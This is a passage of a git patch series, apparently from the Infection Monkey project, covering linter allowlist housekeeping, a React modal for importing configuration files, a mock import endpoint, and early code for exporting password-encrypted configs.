a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py index 37721e3dcc8..7bd2b01c76a 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_principle_service.py @@ -1,10 +1,10 @@ import pytest - -from common.common_consts import zero_trust_consts -from monkey_island.cc.services.zero_trust.test_common.finding_data import ( +from tests.unit_tests.monkey_island.cc.services.zero_trust.test_common.finding_data import ( get_monkey_finding_dto, get_scoutsuite_finding_dto, ) + +from common.common_consts import zero_trust_consts from monkey_island.cc.services.zero_trust.zero_trust_report.principle_service import ( PrincipleService, ) diff --git a/vulture_whitelist.py b/vulture_whitelist.py index f607dc3c966..a9dbce63441 100644 --- a/vulture_whitelist.py +++ b/vulture_whitelist.py @@ -167,6 +167,8 @@ _.aws_info # unused attribute (monkey/monkey_island/cc/environment/aws.py:13) build_from_config_file_contents # unused method 'build_from_config_file_contents' (\monkey_island\setup\island_config_options.py:18) mock_port_in_env_singleton # monkey\tests\unit_tests\monkey_island\cc\services\test_config.py:26: +ISLAND # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:14) +MONKEY_LINUX_RUNNING # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:26) # these are not needed for it to work, but may be useful extra information to understand what's going on WINDOWS_PBA_TYPE # unused variable (monkey/monkey_island/cc/resources/pba_file_upload.py:23) @@ -182,24 +184,15 @@ _.get_wmi_info # unused method (monkey/infection_monkey/system_info/windows_info_collector.py:63) -# not 100% sure about these? are these being/will be used somewhere else? +# potentially unused (there may also be unit tests referencing these) LOG_DIR_NAME # unused variable (envs/monkey_zoo/blackbox/log_handlers/test_logs_handler.py:8) delete_logs # unused function (envs/monkey_zoo/blackbox/test_blackbox.py:85) MongoQueryJSONEncoder # unused class (envs/monkey_zoo/blackbox/utils/json_encoder.py:6) - - -# exists in common/, monkey_island/, or infection_monkey/, but is used in tests/unit_tests/ which is skipped by Vulture -_.instance_name # unused attribute (monkey/common/cloud/azure/azure_instance.py:35) -_.instance_name # unused attribute (monkey/common/cloud/azure/azure_instance.py:64) -SomeDummyPlugin # unused class (monkey/infection_monkey/utils/plugins/pluginTests/BadImport.py:4) -BadPluginInit # unused class (monkey/infection_monkey/utils/plugins/pluginTests/BadInit.py:4) -BadInit # unused class (monkey/infection_monkey/utils/plugins/pluginTests/ComboFile.py:4) -ProperClass # unused class (monkey/infection_monkey/utils/plugins/pluginTests/ComboFile.py:9) -PluginWorking # unused class (monkey/infection_monkey/utils/plugins/pluginTests/PluginWorking.py:4) environment # unused variable (monkey/monkey_island/cc/models/monkey.py:59) _.environment # unused attribute (monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/environment.py:10) -ISLAND # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:14) -MONKEY_LINUX_RUNNING # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:26) -RAW_SCOUTSUITE_DATA # unused variable (monkey/monkey_island/cc/services/zero_trust/test_common/raw_scoutsute_data.py:3) -save_example_findings # unused function (monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_common/example_finding_data.py:8) +_.instance_name # unused attribute (monkey/common/cloud/azure/azure_instance.py:35) +_.instance_name # unused attribute (monkey/common/cloud/azure/azure_instance.py:64) + + +# used in tests/unit_tests/ which is skipped by Vulture data_for_tests_dir # unused function (monkey/tests/conftest.py:11) From b69c1c531a2f2a3a50d4e32d359b99dfcb7b2750 Mon Sep 17 00:00:00 2001 From: Shreya Date: Wed, 2 Jun 2021 13:08:37 +0530 Subject: [PATCH 0610/1360] Rename vulture_whitelist.py -> vultue_allowlist.py --- .flake8 | 2 +- vulture_whitelist.py => vulture_allowlist.py | 0 2 files changed, 1 insertion(+), 1 deletion(-) rename vulture_whitelist.py => vulture_allowlist.py (100%) diff --git a/.flake8 b/.flake8 index ecbc954ee53..97d903b8ff6 100644 --- a/.flake8 +++ b/.flake8 @@ -1,7 +1,7 @@ [flake8] ## Warn about linter issues. -exclude = monkey/monkey_island/cc/ui,vulture_whitelist.py +exclude = monkey/monkey_island/cc/ui,vulture_allowlist.py show-source = True max-complexity = 10 max-line-length = 100 diff --git a/vulture_whitelist.py b/vulture_allowlist.py similarity index 100% rename from vulture_whitelist.py rename to vulture_allowlist.py From 52b57a7166fe91aeb1d0a91a56e60e5da95002b9 Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 3 Jun 2021 11:57:44 +0530 Subject: [PATCH 0611/1360] Have Vulture skip tests/ instead of tests/unit_tests/ --- pyproject.toml | 2 +- vulture_allowlist.py | 4 ---- 2 files changed, 1 insertion(+), 5 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index 4b28ec709bd..e1a0baaa3a3 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -23,5 +23,5 @@ addopts = "-v --capture=sys tests" norecursedirs = "node_modules dist" [tool.vulture] -exclude = ["monkey/monkey_island/cc/ui/", "monkey/tests/unit_tests/"] +exclude = ["monkey/monkey_island/cc/ui/", "monkey/tests/"] paths = ["."] diff --git a/vulture_allowlist.py b/vulture_allowlist.py index a9dbce63441..5d91f94fd7b 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -192,7 +192,3 @@ _.environment # unused attribute (monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/environment.py:10) _.instance_name # unused attribute (monkey/common/cloud/azure/azure_instance.py:35) _.instance_name # unused attribute (monkey/common/cloud/azure/azure_instance.py:64) - - -# used in tests/unit_tests/ which is skipped by Vulture -data_for_tests_dir # unused function (monkey/tests/conftest.py:11) From 6e2da3c4a5e153a5954feae713a8e82408a48166 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 28 May 2021 13:15:42 +0300 Subject: [PATCH 0612/1360] Sketched out the infrastructure of configuration import modal window --- .../ImportConfigModal.tsx | 104 ++++++++++++++++++ .../ui/src/components/pages/ConfigurePage.js | 17 ++- 2 files changed, 117 insertions(+), 4 deletions(-) create mode 100644 monkey/monkey_island/cc/ui/src/components/configuration-components/ImportConfigModal.tsx diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/ImportConfigModal.tsx b/monkey/monkey_island/cc/ui/src/components/configuration-components/ImportConfigModal.tsx new file mode 100644 index 00000000000..68f2bdea929 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/ImportConfigModal.tsx @@ -0,0 +1,104 @@ +import {Button, Modal, Form} from 'react-bootstrap'; +import React, {useState} from 'react'; + +import AuthComponent from '../AuthComponent'; +import '../../styles/components/configuration-components/ExportConfigModal.scss'; + + +type Props = { + show: boolean, + onClick: () => void +} + +const ConfigImportModal = (props: Props) => { + // TODO implement the back end + const configExportEndpoint = '/api/configuration/export'; + + const [pass, setPass] = useState(''); + const [radioValue, setRadioValue] = useState('password'); + const authComponent = new AuthComponent({}); + + function isExportBtnDisabled() { + return pass === '' && radioValue === 'password'; + } + + function onSubmit() { + authComponent.authFetch(configExportEndpoint, + { + method: 'POST', + headers: {'Content-Type': 'application/json'}, + body: JSON.stringify({ + should_encrypt: (radioValue === 'password'), + password: pass + }) + } + ) + } + + return ( + + + Configuration import + + +
    +
    + + + +
    +
    + + + +
    ) +} + +const PasswordInput = (props: { + onChange: (passValue) => void +}) => { + return ( +
    +

    Encrypt with a password:

    + (props.onChange(evt.target.value))}/> +
    + ) +} + +const ExportPlaintextChoiceField = (props: { + radioValue: string, + onChange: (radioValue) => void +}) => { + return ( +
    + { + props.onChange(evt.target.value); + }} + /> +

    + Configuration might contain stolen credentials or sensitive data.
    + It is advised to use password encryption option. +

    +
    + ) +} + + +export default ConfigImportModal; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index 9b2251cd874..55484b1756c 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -15,6 +15,7 @@ import UnsafeOptionsConfirmationModal from '../configuration-components/UnsafeOp import UnsafeOptionsWarningModal from '../configuration-components/UnsafeOptionsWarningModal.js'; import isUnsafeOptionSelected from '../utils/SafeOptionValidator.js'; import ConfigExportModal from '../configuration-components/ExportConfigModal'; +import ConfigImportModal from '../configuration-components/ImportConfigModal'; const ATTACK_URL = '/api/attack'; const CONFIG_URL = '/api/configuration/island'; @@ -42,7 +43,8 @@ class ConfigurePageComponent extends AuthComponent { showAttackAlert: false, showUnsafeOptionsConfirmation: false, showUnsafeAttackOptionsWarning: false, - showConfigExportModal: false + showConfigExportModal: false, + showConfigImportModal: false }; } @@ -230,6 +232,14 @@ class ConfigurePageComponent extends AuthComponent { this.setState({showConfigExportModal: false}) } + renderConfigImportModal = () => { + return ()} + + onImport = () => { + this.setState({showConfigImportModal: false}) + } + renderAttackAlertModal = () => { return ( { this.setState({showAttackAlert: false}) @@ -499,6 +509,7 @@ class ConfigurePageComponent extends AuthComponent { lg={{offset: 3, span: 8}} xl={{offset: 2, span: 8}} className={'main'}> {this.renderConfigExportModal()} + {this.renderConfigImportModal()} {this.renderAttackAlertModal()} {this.renderUnsafeOptionsConfirmationModal()} {this.renderUnsafeAttackOptionsWarningModal()} @@ -514,12 +525,10 @@ class ConfigurePageComponent extends AuthComponent {
    - - @@ -64,7 +127,7 @@ const ConfigImportModal = (props: Props) => { } const PasswordInput = (props: { - onChange: (passValue) => void + onChange: (passValue) => void, }) => { return (
    @@ -76,29 +139,5 @@ const PasswordInput = (props: { ) } -const ExportPlaintextChoiceField = (props: { - radioValue: string, - onChange: (radioValue) => void -}) => { - return ( -
    - { - props.onChange(evt.target.value); - }} - /> -

    - Configuration might contain stolen credentials or sensitive data.
    - It is advised to use password encryption option. -

    -
    - ) -} - export default ConfigImportModal; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index 55484b1756c..2d89a15d5d3 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -358,6 +358,7 @@ class ConfigurePageComponent extends AuthComponent { this.authFetch(apiEndpoint, request_options); } + // TODO remove after import implementation setConfigOnImport = (event) => { try { var newConfig = JSON.parse(event.target.result); @@ -377,6 +378,7 @@ class ConfigurePageComponent extends AuthComponent { ); } + // TODO remove after import implementation setConfigFromImportCandidate(){ this.setState({ configuration: this.state.importCandidateConfig, @@ -388,6 +390,7 @@ class ConfigurePageComponent extends AuthComponent { this.currentFormData = {}; } + // TODO remove after export implementation exportConfig = () => { this.updateConfigSection(); const configAsJson = JSON.stringify(this.state.configuration, null, 2); @@ -415,6 +418,7 @@ class ConfigurePageComponent extends AuthComponent { })); } + // TODO remove after import implementation importConfig = (event) => { let reader = new FileReader(); reader.onload = this.setConfigOnImport; diff --git a/monkey/monkey_island/cc/ui/src/styles/components/configuration-components/ImportConfigModal.scss b/monkey/monkey_island/cc/ui/src/styles/components/configuration-components/ImportConfigModal.scss new file mode 100644 index 00000000000..78add3bb37a --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/styles/components/configuration-components/ImportConfigModal.scss @@ -0,0 +1,30 @@ +.config-export-modal .config-export-password-input p { + display: inline-block; + width: auto; + margin-top: 0; + margin-bottom: 0; + margin-right: 10px; +} + +.config-export-modal .export-type-radio-buttons +.password-radio-button .config-export-password-input input { + display: inline-block; + width: auto; + top: 0; + transform: none; +} + +.config-export-modal .export-type-radio-buttons .password-radio-button input{ + margin-top: 0; + top: 50%; + -ms-transform: translateY(-50%); + transform: translateY(-50%); +} + +.config-export-modal div.config-export-plaintext p.export-warning { + margin-left: 20px; +} + +.config-export-modal div.config-export-plaintext { + margin-top: 15px; +} From 691dfee4f858e3135710ffea53fd72cdff08bfe7 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 1 Jun 2021 10:13:40 +0300 Subject: [PATCH 0614/1360] Added an upload status icon (checkmark if successful, red x if error) --- .../ui-components/UploadStatusIcon.tsx | 23 +++++++++++++++++++ .../cc/ui/src/styles/components/Icons.scss | 10 +++++++- 2 files changed, 32 insertions(+), 1 deletion(-) create mode 100644 monkey/monkey_island/cc/ui/src/components/ui-components/UploadStatusIcon.tsx diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/UploadStatusIcon.tsx b/monkey/monkey_island/cc/ui/src/components/ui-components/UploadStatusIcon.tsx new file mode 100644 index 00000000000..5db4790cbd4 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/UploadStatusIcon.tsx @@ -0,0 +1,23 @@ +import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; +import {faCheck, faTimes} from '@fortawesome/free-solid-svg-icons'; +import React from 'react'; + + +export const UploadStatuses = { + clean: 'clean', + success: 'success', + error: 'error' +} + +const UploadStatusIcon = (props: { status: string }) => { + switch (props.status) { + case UploadStatuses.success: + return (); + case UploadStatuses.error: + return (); + default: + return null; + } +} + +export default UploadStatusIcon; diff --git a/monkey/monkey_island/cc/ui/src/styles/components/Icons.scss b/monkey/monkey_island/cc/ui/src/styles/components/Icons.scss index 2da5087b6e7..9d89a7e486d 100644 --- a/monkey/monkey_island/cc/ui/src/styles/components/Icons.scss +++ b/monkey/monkey_island/cc/ui/src/styles/components/Icons.scss @@ -11,7 +11,7 @@ } .icon-success { - color: $success + color: $success; } .icon-failed { @@ -26,3 +26,11 @@ transform: rotate(359deg); } } + +.upload-status-icon-success { + color: $success; +} + +.upload-status-icon-error { + color: $danger; +} From 556d0828efaf8e6f659b65243369543dc0812fb0 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 1 Jun 2021 10:21:37 +0300 Subject: [PATCH 0615/1360] Added import config modal. --- .../ImportConfigModal.tsx | 83 ++++++++++--------- .../ImportConfigModal.scss | 33 +++----- 2 files changed, 55 insertions(+), 61 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/ImportConfigModal.tsx b/monkey/monkey_island/cc/ui/src/components/configuration-components/ImportConfigModal.tsx index 37e4bb17871..2f488133801 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/ImportConfigModal.tsx +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/ImportConfigModal.tsx @@ -1,44 +1,24 @@ -import {Button, Modal, Form} from 'react-bootstrap'; +import {Button, Modal, Form, Alert} from 'react-bootstrap'; import React, {useEffect, useState} from 'react'; -import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; - import AuthComponent from '../AuthComponent'; import '../../styles/components/configuration-components/ImportConfigModal.scss'; -import {faCheck, faCross} from '@fortawesome/free-solid-svg-icons'; +import UploadStatusIcon, {UploadStatuses} from '../ui-components/UploadStatusIcon'; +import {faExclamationCircle} from '@fortawesome/free-solid-svg-icons/faExclamationCircle'; +import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; type Props = { show: boolean, - onClick: () => void + onClose: (importSuccessful: boolean) => void } -const UploadStatuses = { - clean: 'clean', - success: 'success', - error: 'error' -} - - -const UploadStatusIcon = (props: { status: string }) => { - switch (props.status) { - case UploadStatuses.success: - return (); - case UploadStatuses.error: - return (); - default: - return null; - } -} - -// TODO add types const ConfigImportModal = (props: Props) => { // TODO implement the back end const configImportEndpoint = '/api/temp_configuration'; const [uploadStatus, setUploadStatus] = useState(UploadStatuses.clean); - const [importDisabled, setImportDisabled] = useState(true); const [configContents, setConfigContents] = useState(''); const [password, setPassword] = useState(''); const [showPassword, setShowPassword] = useState(false); @@ -52,8 +32,8 @@ const ConfigImportModal = (props: Props) => { }, [configContents]) - function sendConfigToServer() { - authComponent.authFetch(configImportEndpoint, + function sendConfigToServer(): Promise { + return authComponent.authFetch(configImportEndpoint, { method: 'POST', headers: {'Content-Type': 'application/json'}, @@ -75,12 +55,22 @@ const ConfigImportModal = (props: Props) => { } else { setUploadStatus(UploadStatuses.success); } - if (res.status == 200) { - setImportDisabled(false); - } + console.log(res['import_status']); + return res['import_status']; }) } + function isImportDisabled(): boolean { + return uploadStatus !== UploadStatuses.success + } + + function resetState() { + setUploadStatus(UploadStatuses.clean); + setPassword(''); + setConfigContents(''); + setErrorMessage(''); + setShowPassword(false); + } function uploadFile(event) { let reader = new FileReader(); @@ -88,38 +78,51 @@ const ConfigImportModal = (props: Props) => { setConfigContents(JSON.stringify(event.target.result)) }; reader.readAsText(event.target.files[0]); - event.target.value = null; + } function onImportClick() { + sendConfigToServer().then((importStatus) => { + if(importStatus === 'imported'){ + resetState(); + props.onClose(true); + } + }); } return ( {resetState(); props.onClose(false)}} size={'lg'} - className={'config-export-modal'}> + className={'config-import-modal'}> Configuration import -
    +
    + onChange={uploadFile} + className={'file-input'}/> + {showPassword && } - + { errorMessage && + + + {errorMessage} + + } +
    @@ -130,8 +133,8 @@ const PasswordInput = (props: { onChange: (passValue) => void, }) => { return ( -
    -

    Encrypt with a password:

    +
    +

    File is protected. Enter password:

    (props.onChange(evt.target.value))}/> diff --git a/monkey/monkey_island/cc/ui/src/styles/components/configuration-components/ImportConfigModal.scss b/monkey/monkey_island/cc/ui/src/styles/components/configuration-components/ImportConfigModal.scss index 78add3bb37a..63aef9d8f9d 100644 --- a/monkey/monkey_island/cc/ui/src/styles/components/configuration-components/ImportConfigModal.scss +++ b/monkey/monkey_island/cc/ui/src/styles/components/configuration-components/ImportConfigModal.scss @@ -1,30 +1,21 @@ -.config-export-modal .config-export-password-input p { +.config-import-modal .config-import-option .file-input { display: inline-block; - width: auto; - margin-top: 0; - margin-bottom: 0; - margin-right: 10px; } -.config-export-modal .export-type-radio-buttons -.password-radio-button .config-export-password-input input { - display: inline-block; - width: auto; - top: 0; - transform: none; +.config-import-modal .config-import-option .import-error { + margin-top: 10px; } - -.config-export-modal .export-type-radio-buttons .password-radio-button input{ - margin-top: 0; - top: 50%; - -ms-transform: translateY(-50%); - transform: translateY(-50%); +.config-import-modal .config-import-option .config-import-password-input { + margin-top: 20px; } -.config-export-modal div.config-export-plaintext p.export-warning { - margin-left: 20px; +.config-import-modal .config-import-option .config-import-password-input p{ + margin-right: 5px; + display: inline-block; + width: auto; } -.config-export-modal div.config-export-plaintext { - margin-top: 15px; +.config-import-modal .config-import-option .config-import-password-input input{ + display: inline-block; + width: auto; } From ff7760f202ee4a94293c00859efd397503464529 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 1 Jun 2021 10:29:47 +0300 Subject: [PATCH 0616/1360] Altered ConfigurePage.js to use import modal --- .../ui/src/components/pages/ConfigurePage.js | 104 ++++++------------ 1 file changed, 33 insertions(+), 71 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index 2d89a15d5d3..251aa12fac0 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -1,7 +1,6 @@ import React from 'react'; import Form from 'react-jsonschema-form-bs4'; -import {Col, Modal, Nav, Button} from 'react-bootstrap'; -import FileSaver from 'file-saver'; +import {Button, Col, Modal, Nav} from 'react-bootstrap'; import AuthComponent from '../AuthComponent'; import ConfigMatrixComponent from '../attack/ConfigMatrixComponent'; import UiSchema from '../configuration-components/UiSchema'; @@ -11,7 +10,8 @@ import {faExclamationCircle} from '@fortawesome/free-solid-svg-icons/faExclamati import {formValidationFormats} from '../configuration-components/ValidationFormats'; import transformErrors from '../configuration-components/ValidationErrorMessages'; import InternalConfig from '../configuration-components/InternalConfig'; -import UnsafeOptionsConfirmationModal from '../configuration-components/UnsafeOptionsConfirmationModal.js'; +import UnsafeOptionsConfirmationModal + from '../configuration-components/UnsafeOptionsConfirmationModal.js'; import UnsafeOptionsWarningModal from '../configuration-components/UnsafeOptionsWarningModal.js'; import isUnsafeOptionSelected from '../utils/SafeOptionValidator.js'; import ConfigExportModal from '../configuration-components/ExportConfigModal'; @@ -71,7 +71,10 @@ class ConfigurePageComponent extends AuthComponent { if (sectionKey === 'attack') { sections.push({key: sectionKey, title: 'ATT&CK'}) } else { - sections.push({key: sectionKey, title: monkeyConfig.schema.properties[sectionKey].title}); + sections.push({ + key: sectionKey, + title: monkeyConfig.schema.properties[sectionKey].title + }); } } this.setState({ @@ -91,10 +94,8 @@ class ConfigurePageComponent extends AuthComponent { onUnsafeConfirmationContinueClick = () => { this.setState({showUnsafeOptionsConfirmation: false}); - if (this.state.lastAction == 'submit_attempt') { + if (this.state.lastAction === 'submit_attempt') { this.configSubmit(); - } else if (this.state.lastAction == 'import_attempt') { - this.setConfigFromImportCandidate(); } } @@ -103,7 +104,7 @@ class ConfigurePageComponent extends AuthComponent { } - updateConfig = (callback=null) => { + updateConfig = (callback = null) => { this.authFetch(CONFIG_URL) .then(res => res.json()) .then(data => { @@ -120,6 +121,7 @@ class ConfigurePageComponent extends AuthComponent { } }; + // TODO add a safety check to config import canSafelySubmitConfig(config) { return !isUnsafeOptionSelected(this.state.schema, config); } @@ -226,7 +228,8 @@ class ConfigurePageComponent extends AuthComponent { renderConfigExportModal = () => { return ()} + onClick={this.onExport}/>) + } onExport = () => { this.setState({showConfigExportModal: false}) @@ -234,10 +237,18 @@ class ConfigurePageComponent extends AuthComponent { renderConfigImportModal = () => { return ()} + onClose={this.onClose}/>) + } - onImport = () => { - this.setState({showConfigImportModal: false}) + onClose = (importSuccessful) => { + if(importSuccessful === true){ + this.updateConfig(); + this.setState({lastAction: 'import_success', + showConfigImportModal: false}); + + } else { + this.setState({showConfigImportModal: false}); + } } renderAttackAlertModal = () => { @@ -358,47 +369,6 @@ class ConfigurePageComponent extends AuthComponent { this.authFetch(apiEndpoint, request_options); } - // TODO remove after import implementation - setConfigOnImport = (event) => { - try { - var newConfig = JSON.parse(event.target.result); - } catch (SyntaxError) { - this.setState({lastAction: 'import_failure'}); - return; - } - - this.setState({lastAction: 'import_attempt', importCandidateConfig: newConfig}, - () => { - if (this.canSafelySubmitConfig(newConfig)) { - this.setConfigFromImportCandidate(); - } else { - this.setState({showUnsafeOptionsConfirmation: true}); - } - } - ); - } - - // TODO remove after import implementation - setConfigFromImportCandidate(){ - this.setState({ - configuration: this.state.importCandidateConfig, - lastAction: 'import_success' - }, () => { - this.sendConfig(); - this.setInitialConfig(this.state.importCandidateConfig); - }); - this.currentFormData = {}; - } - - // TODO remove after export implementation - exportConfig = () => { - this.updateConfigSection(); - const configAsJson = JSON.stringify(this.state.configuration, null, 2); - const configAsBinary = new Blob([configAsJson], {type: 'text/plain;charset=utf-8'}); - - FileSaver.saveAs(configAsBinary, 'monkey.conf'); - }; - sendConfig() { return ( this.authFetch('/api/configuration/island', @@ -418,14 +388,6 @@ class ConfigurePageComponent extends AuthComponent { })); } - // TODO remove after import implementation - importConfig = (event) => { - let reader = new FileReader(); - reader.onload = this.setConfigOnImport; - reader.readAsText(event.target.files[0]); - event.target.value = null; - }; - renderMatrix = () => { return ( - -
    - @@ -552,12 +520,6 @@ class ConfigurePageComponent extends AuthComponent { Configuration saved successfully.
    : ''} - {this.state.lastAction === 'import_failure' ? -
    - - Failed importing configuration. Invalid config file. -
    - : ''} {this.state.lastAction === 'invalid_configuration' ?
    From 5ab0137f274b9c92f0511f7b13f2eb28b2f603b0 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 1 Jun 2021 10:31:59 +0300 Subject: [PATCH 0617/1360] Improved a mock endpoint for testing import configuration modal --- .../monkey_island/cc/resources/temp_configuration.py | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/resources/temp_configuration.py b/monkey/monkey_island/cc/resources/temp_configuration.py index 1c558e7f8ce..fe9ae09b677 100644 --- a/monkey/monkey_island/cc/resources/temp_configuration.py +++ b/monkey/monkey_island/cc/resources/temp_configuration.py @@ -1,6 +1,8 @@ +import json from dataclasses import dataclass import flask_restful +from flask import request from common.utils.exceptions import ( InvalidConfigurationError, @@ -26,9 +28,9 @@ class TempConfiguration(flask_restful.Resource): @jwt_required def post(self): - # request_contents = json.loads(request.data) + request_contents = json.loads(request.data) try: - self.decrypt() + self.decrypt(request_contents["password"]) self.import_config() return ResponseContents().form_response() except InvalidCredentialsError: @@ -50,7 +52,11 @@ def post(self): status_code=403, ).form_response() - def decrypt(self): + def decrypt(self, password=""): + if not password: + raise NoCredentialsError + if not password == "abc": + raise InvalidCredentialsError return False def import_config(self): From 7954dbe1e73ece19f724716ec274159fd032d923 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 1 Jun 2021 11:42:54 +0300 Subject: [PATCH 0618/1360] Fixed and improved the wording in configuration export and import modals. --- .../components/configuration-components/ExportConfigModal.tsx | 2 +- .../components/configuration-components/ImportConfigModal.tsx | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/ExportConfigModal.tsx b/monkey/monkey_island/cc/ui/src/components/configuration-components/ExportConfigModal.tsx index 48a4d3df587..d6d84d14e5f 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/ExportConfigModal.tsx +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/ExportConfigModal.tsx @@ -105,7 +105,7 @@ const ExportPlaintextChoiceField = (props: { />

    Configuration may contain stolen credentials or sensitive data.
    - It is advised to use password encryption. + It is advised to use the Encrypt with a password option.

    ) diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/ImportConfigModal.tsx b/monkey/monkey_island/cc/ui/src/components/configuration-components/ImportConfigModal.tsx index 2f488133801..6b950f7c788 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/ImportConfigModal.tsx +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/ImportConfigModal.tsx @@ -134,7 +134,7 @@ const PasswordInput = (props: { }) => { return (
    -

    File is protected. Enter password:

    +

    File is protected. Please enter the password:

    (props.onChange(evt.target.value))}/> From 338404799efb7c9208727a8a85d7b25466a6e102 Mon Sep 17 00:00:00 2001 From: Shreya Date: Fri, 28 May 2021 14:38:29 +0530 Subject: [PATCH 0619/1360] Add initial implementation of encrypting config and saving it on export --- monkey/monkey_island/cc/app.py | 2 + .../cc/resources/configuration_export.py | 42 +++++++++++++++++++ .../cc/services/utils/file_handler.py | 39 +++++++++++++++++ 3 files changed, 83 insertions(+) create mode 100644 monkey/monkey_island/cc/resources/configuration_export.py create mode 100644 monkey/monkey_island/cc/services/utils/file_handler.py diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 172513d919f..0642f176889 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -20,6 +20,7 @@ ) from monkey_island.cc.resources.bootloader import Bootloader from monkey_island.cc.resources.client_run import ClientRun +from monkey_island.cc.resources.configuration_export import ConfigurationExport from monkey_island.cc.resources.edge import Edge from monkey_island.cc.resources.environment import Environment from monkey_island.cc.resources.island_configuration import IslandConfiguration @@ -135,6 +136,7 @@ def init_api_resources(api): ) api.add_resource(MonkeyConfiguration, "/api/configuration", "/api/configuration/") api.add_resource(IslandConfiguration, "/api/configuration/island", "/api/configuration/island/") + api.add_resource(ConfigurationExport, "/api/configuration/export", "/api/configuration/export/") api.add_resource( MonkeyDownload, "/api/monkey/download", diff --git a/monkey/monkey_island/cc/resources/configuration_export.py b/monkey/monkey_island/cc/resources/configuration_export.py new file mode 100644 index 00000000000..4cecce6341d --- /dev/null +++ b/monkey/monkey_island/cc/resources/configuration_export.py @@ -0,0 +1,42 @@ +import json +import os + +import flask_restful +from flask import jsonify, request + +from monkey_island.cc.resources.auth.auth import jwt_required +from monkey_island.cc.server_utils.consts import DEFAULT_DATA_DIR +from monkey_island.cc.services.config import ConfigService +from monkey_island.cc.services.utils.file_handler import encrypt_file_with_password + + +class ConfigurationExport(flask_restful.Resource): + @jwt_required + def get(self): + return jsonify( + config_encrypted=self.file_encryption_successful, + plaintext_removed=self.plaintext_file_removal_successful, + ) + + @jwt_required + def post(self): + data = json.loads(request.data) + + config = ConfigService.get_config() + + config_filename = "monkey.conf" + plaintext_config_path = os.path.join(DEFAULT_DATA_DIR, config_filename) + with open(plaintext_config_path) as file: + json.dump(config, file) + + self.file_encryption_successful = self.plaintext_file_removal_successful = False + if "password" in data: + encrypted_config_path = os.path.join(DEFAULT_DATA_DIR, f"encrypted_{config_filename}") + ( + self.file_encryption_successful, + self.plaintext_file_removal_successful, + ) = encrypt_file_with_password( + plaintext_config_path, encrypted_config_path, data["password"] + ) + + return self.get() diff --git a/monkey/monkey_island/cc/services/utils/file_handler.py b/monkey/monkey_island/cc/services/utils/file_handler.py new file mode 100644 index 00000000000..db71ea08a6c --- /dev/null +++ b/monkey/monkey_island/cc/services/utils/file_handler.py @@ -0,0 +1,39 @@ +import logging +import os +from typing import Optional, Tuple + +import pyAesCrypt + +logger = logging.getLogger(__name__) + + +def encrypt_file_with_password( + plaintext_file_path: str, + encrypted_file_path: str, + password: str, + should_remove_plaintext_file: bool = True, +) -> Tuple[bool, Optional[bool]]: + + file_encryption_successful = False + try: + pyAesCrypt.encryptFile(plaintext_file_path, encrypted_file_path, password) + file_encryption_successful = True + except Exception as ex: + logger.error(f"Could not encrypt config file: {str(ex)}") + + plaintext_file_removal_successful = False + if file_encryption_successful and should_remove_plaintext_file: + plaintext_file_removal_successful = remove_file(plaintext_file_path) + + return file_encryption_successful, plaintext_file_removal_successful + + +def 